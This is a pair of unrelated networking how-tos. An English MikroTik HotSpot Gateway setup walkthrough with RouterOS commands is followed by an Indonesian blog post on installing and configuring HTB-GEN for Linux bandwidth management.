The MikroTik HotSpot Gateway enables providing of public network access for clients using wireless or wired network connections. HotSpot Gateway should have at least two network interfaces:

1. HotSpot interface, which is used to connect HotSpot clients

2. LAN/WAN interface, which is used to access network resources.

The following picture shows wireless HotSpot setup

To setup simple HotSpot Gateway follow the steps below:

1. Configure wireless interface on HotSpot Gateway:
[admin@HotSpot_Gateway]> interface wireless set wlan1 ssid=HotSpot band=2.4ghz-b \
\... mode=ap-bridge

2. Configure ip address for HotSpot interface:
[admin@HotSpot_Gateway] > ip add add address=192.168.0.1/24 interface=wlan1

3. Configure ip address for WAN/LAN interface:
[admin@HotSpot_Gateway] > ip add add address=10.5.8.250/24 interface=ether1

4. Add a route on HotSpot Gateway
[admin@HotSpot_Gateway] > ip route add gateway=10.5.8.1

5. Configure Hotspot on wlan1 interface and add user admin with pasword test
[admin@MikroTik] > ip hotspot setup
hotspot interface: wlan1
local address of network: 192.168.0.1/24
masquerade network: yes
address pool of network: 192.168.0.2-192.168.0.254
select certificate: none
ip address of smtp server: 0.0.0.0
dns servers: 10.5.8.2
dns name: hs.example.net
name of local hotspot user: admin
password for the user: test

In order to access network resources HotSpot clients have to configure their wireless interfaces setting proper ssid, band and mode, and enabling dynamic host configuration (dhcp) on the wireless interface.

HTB-GEN cara mudah memanage Bandwidth

2008-03-15T11:45:00.001+07:00

Diarsipkan di bawah: Mandriva — bayuart - yudha

Implementasi bandwidth management biasanya di terapkan pada main-gw (gateway utama) dimana main-gw menghandle beberapa klien yang mempunyai jatah bandwidth yang telah di tetapkan. Disini kita akan menggunakan tool bantu yang bernama HTB-GEN.
Pada distro linux kebanyakan sebenarnya htb/cbq sudah include di kernel default masing-masing distro, tinggal kita saja yang kurang familiar dengan perintah tc yang digunakan sebagai standar tool shaping bandwith. Untuk itulah kita menggunakan HTB-GEN disini.
Yang perlu diingat adalah :
Lisensi GPLv2 or later
Syarat dan kebutuhan untuk menjalankannya:
-bash
-QoS htb kernel support
-iproute2 tc
-iptables
-htb-init script (optional)

Ok kita mulai aja meng-implementasikan HTB-GEN ke mesin main-gw kita, langkah-langkahnya adalah sebagai berikut:
Langkah 1: Download

– htb-gen-0.8.4.tar.gz Source tarball
– htb-gen_0.8.4_all.deb Debian package
– htb-gen-0.8.4–1.noarch.rpm Aliened RPM package

Archive at http://www.praga.org.ar/dev/htb-gen/packages/

sesuaikan dengan distro based yang dipakai, disini saya pake mandriva cooker, otomatis harus download yang versi .rpm

Langkah 2: Install
untuk menginstall htb-gen di mandriva, tinggal menjalankan perintah
#urpmi htb-gen-0.8.4-1.noarch.rpm

Langkah 3: Konfigurasi
setelah langkah instalasi dilalui dengan sukses :) maka akan terdapat file konfigurasi standar htb-gen di direktori /etc/htb-gen.
Edit file /etc/htb-gen/htb-gen.conf, dengan editor kesayangan anda :)

#vim /etc/htb-gen/htb-gen.conf

perhatikan baris berikut ini:

iface_down=”eth1″ # Server LAN iface
iface_up=”eth0″ # Server INET iface
total_rate_down=1024 #Total download bw
total_rate_up=512 #Total upload bw

Kemudian di file /etc/htb-gen/htb-gen-rates.conf, perhatikan baris berikut :

# down down up up
# min max min max
#ip (rate) (ceil) (rate) (ceil)
192.168.1.2 0 64 0 32
192.168.1.3 0 128 0 64
192.168.1.4 0 256 0 128
10.0.0.1/30 256 512 128 256
200.80.22.2 256 256 256 256

Seperti yang terlihat

mudah sekali untuk membatasi suatu host atau network

ip beda network juga bisa digunakan

penulisan format ip dan network mengikuti aturan standar

mendukung fixed rate b/w

nilai nol atau “0″ artinya secara otomatis akan menggunakan b/w yang ada atau b/w yang tersisa.

Selanjutnya….

Langkah 4: Menjalakannya

Untuk menjalankan htb-gen sangat mudah, secara umum htb-gen dapat di jalankan dengan opsi sebagai berikut

#htb-gen tc_all

lebih lanjut dengan opsi htb-gen, bisa di cek dengan perintah

#htb-gen –help

Situs terkait dan resmi dari htb-gen bisa di cek di http://www.praga.org.ar/wacko/DevPraga/htbgen/